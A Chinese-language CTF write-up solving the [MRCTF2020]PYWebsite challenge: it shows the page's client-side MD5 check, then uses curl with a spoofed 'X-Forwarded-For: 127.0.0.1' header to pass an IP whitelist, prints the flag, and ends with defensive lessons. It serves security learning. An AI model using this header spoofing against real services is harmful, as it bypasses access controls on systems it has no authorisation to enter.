![[MRCTF2020]PYWebsite 思路及解法](http://pic.xiahunao.cn/yaotu/[MRCTF2020]PYWebsite 思路及解法)
大家好你们可以叫我凌是个16岁的网络安全学习者。今天我们来完成的是 [MRCTF2020]PYWebsite 题目并不难我们就直接开始吧。解题思路先启动靶场还是SSL加密的TCP隧道地址浏览器访问不了直接上CURL看看。curl -k https://da4b83ff6efbee51f50bde26.tcp-ctf2.dasctf.com:9999/返回了以下内容!DOCTYPE html html langen head meta charsetutf-8 titleFlag PY Site/title meta contentwidthdevice-width, initial-scale1.0 nameviewport meta content namekeywords meta content namedescription !-- Favicons -- link hrefimg/favicon.png relicon link hrefimg/apple-touch-icon.png relapple-touch-icon !-- Google Fonts -- link hrefhttps://fonts.googleapis.com/css?familyRaleway:900,300,400|Ovo:300,400,500,700 relstylesheet !-- Bootstrap CSS File -- link hreflib/bootstrap/css/bootstrap.min.css relstylesheet !-- Libraries CSS Files -- link hreflib/ionicons/css/ionicons.min.css relstylesheet !-- Main Stylesheet File -- link hrefcss/style.css relstylesheet script typetext/javascript src./js/md5.js/script script function enc(code){ hash hex_md5(code); return hash; } function validate(){ var code document.getElementById(vcode).value; if (code ! ){ if(hex_md5(code) 0cd4da0223c0b280829dc3ea458d655c){ alert(您通过了验证); window.location ./flag.php }else{ alert(你的授权码不正确); } }else{ alert(请输入授权码); } } /script /head body>script function enc(code){ hash hex_md5(code); return hash; } function validate(){ var code document.getElementById(vcode).value; if (code ! ){ if(hex_md5(code) 0cd4da0223c0b280829dc3ea458d655c){ alert(您通过了验证); window.location ./flag.php }else{ alert(你的授权码不正确); } }else{ alert(请输入授权码); } } /script先尝试直接访问 flag.php 文件。curl -k https://da4b83ff6efbee51f50bde26.tcp-ctf2.dasctf.com:9999/flag.php返回了以下内容html head meta charsetutf-8 /head body img src./img/2.jpg width300 height300 / h1拜托我也是学过半小时网络安全的你骗不了我/h1p我已经把购买者的IP保存了显然你没有购买/pp验证逻辑是在后端的除了购买者和我自己没有人可以看到flag/pa hrefindex.html 还不快去买/pimg src ./img/vx.jpg /body /html里面提到 “除了购买者和我自己没有人可以看到flag” 那我们直接伪造请求头欺骗目标尝试突围curl -k https://da4b83ff6efbee51f50bde26.tcp-ctf2.dasctf.com:9999/flag.php -H X-Forwarded-For: 127.0.0.1这样子flag就成功出来了html head meta charsetutf-8 /head body img src./img/2.jpg width300 height300 / p钉你的flag已到达请注意查收/pp stylecolor:whiteCTF2{690f46da-4898-4295-b832-df014171a30a}/p/body /html靶场小结考点标签HTTP请求头伪造、前端验证绕过、后端IP白名单核心教训1. 前端验证永远是纸糊的门任何在浏览器里运行的JS验证输入检查、按钮禁用、跳转控制都可以被绕过。后端才是唯一可信的防线。2. 后端IP白名单的脆弱性后端通过 $_SERVER[REMOTE_ADDR] 或信任 X-Forwarded-For 来校验访问者身份攻击者只需伪造一个请求头即可冒充管理员。解题关键步骤1. 直接访问 flag.php发现后端拒绝访问提示“只允许购买者或管理员访问”。2. 用 curl -k 目标/flag.php -H X-Forwarded-For: 127.0.0.1 伪造本地IP。3. 一句话拿到 FlagCTF2{690f46da-4898-4295-b832-df014171a30a}。